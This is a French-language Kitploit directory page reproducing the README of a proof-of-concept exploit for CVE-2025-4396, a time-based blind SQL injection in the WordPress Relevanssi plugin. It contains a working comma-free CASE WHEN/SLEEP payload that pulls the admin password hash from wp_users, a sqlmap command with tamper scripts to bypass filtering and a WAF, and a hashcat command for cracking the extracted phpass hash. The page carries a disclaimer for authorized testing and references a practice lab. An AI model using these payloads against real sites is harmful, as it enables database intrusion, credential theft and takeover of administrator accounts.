Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-4396 — CVE-2025-4396 - WordPress Relevanssi Time-Based Blind SQL Injection | Kitploit
Outils/GitHubGitHub/sup3rdav3/cve-2025-4396
Password CrackingVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubsup3rdav3/cve-2025-4396

CVE-2025-4396

CVE-2025-4396 - WordPress Relevanssi Time-Based Blind SQL Injection

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-4396 — Injection SQL aveugle basée sur le temps dans Relevanssi

Avertissement : Ce dépôt est destiné uniquement à des tests d'intrusion autorisés, à la recherche en sécurité et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal et contraire à l'éthique.


Présentation

Une preuve de concept d'exploitation pour une vulnérabilité d'injection SQL aveugle basée sur le temps dans le plugin WordPress Relevanssi 4.24.4. Cette implémentation cible spécifiquement les environnements durcis où :

  • Les virgules sont filtrées — ce qui casse la syntaxe standard SUBSTR(str, pos, len) et IF(cond, true, false)
  • Un comportement d'attente gourmand se produit — ce qui amène MySQL à exécuter SLEEP() avant d'évaluer l'expression complète, générant des faux positifs

Contexte

Dans certains environnements (par exemple, le labo DVWP), les charges utiles d'injection SQL standard échouent pour deux raisons principales :

ProblèmeEffet
Suppression des virgulesCasse SUBSTR(str, pos, len) et IF(cond, true, false)
SLEEP() gourmandMySQL évalue le délai avant l'expression booléenne complète, générant des faux positifs

Les deux problèmes nécessitent des solutions de contournement ciblées — couvertes par les approches manuelles et automatisées ci-dessous.


Exploitation manuelle (asy.py)

Un script Python asynchrone permettant une extraction chirurgicale caractère par caractère. Évite la surcharge des outils automatisés et contourne le filtrage des virgules via la logique CASE WHEN.

Fonctionnalités

FonctionnalitéImplémentation
E/S asynchronesaiohttp pour les requêtes non bloquantes

Logique d'injection centrale

root@kitploit:~
# Charge utile temporelle sans virgule, basée sur CASE WHEN
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"

Pourquoi CASE WHEN plutôt que IF() ? IF() utilise des virgules et est sujet à une évaluation gourmande. CASE WHEN évalue paresseusement, garantissant que SLEEP() n'est déclenché que lorsque la condition est réellement TRUE.


Exploitation automatisée (SQLMap)

SQLMap peut automatiser la découverte dans cet environnement en utilisant des scripts de modification et des drapeaux spécifiques.

Commande

root@kitploit:~
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
  --tamper=commalessmid,if2case,between \
  --technique=T \
  --dbms=MySQL \
  --no-cast \
  --batch \
  --threads=1 \
  --dbs

Référence des drapeaux

Note sur --threads=1 : Cela est essentiel pour une extraction fiable. Plusieurs threads provoquent un chevauchement des délais de veille, corrompant le timing de la recherche binaire et produisant une sortie déformée.


Résultats du laboratoire

ChampValeur
Cible

Craquage du hachage

root@kitploit:~
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
  • Mode -m 400 cible les hachages phpass
  • Attaque -a 0 est une attaque par dictionnaire directe utilisant rockyou.txt

Références

  • Plugin Relevanssi — WordPress.org
  • Scripts Tamper de SQLMap
  • OWASP : Injection SQL aveugle
  • phpass — Cadre de hachage de mots de passe
Télécharger l’outil
Charges utiles sans virgulesSyntaxe SUBSTR(str FROM pos FOR len)
Logique non gourmandeCASE WHEN garantit que SLEEP() ne se déclenche que sur TRUE
DrapeauObjectif
--tamper=commalessmid,if2caseRéécrit les charges utiles en SQL sans virgule ; remplace IF() par CASE WHEN
--tamper=betweenRemplace les comparaisons > par BETWEEN pour un contournement supplémentaire du WAF
--technique=TLimite à l'injection aveugle basée sur le temps uniquement
--no-castEmpêche les wrappers CAST() qui introduisent des virgules interdites
--threads=1Assure la précision temporelle — les requêtes simultanées provoquent des chevauchements de délais
Table wp_users de WordPress
Utilisateuradmin (ID = 1)
Hachage extraitREDACTED
Algorithmephpass (hachage standard des mots de passe WordPress)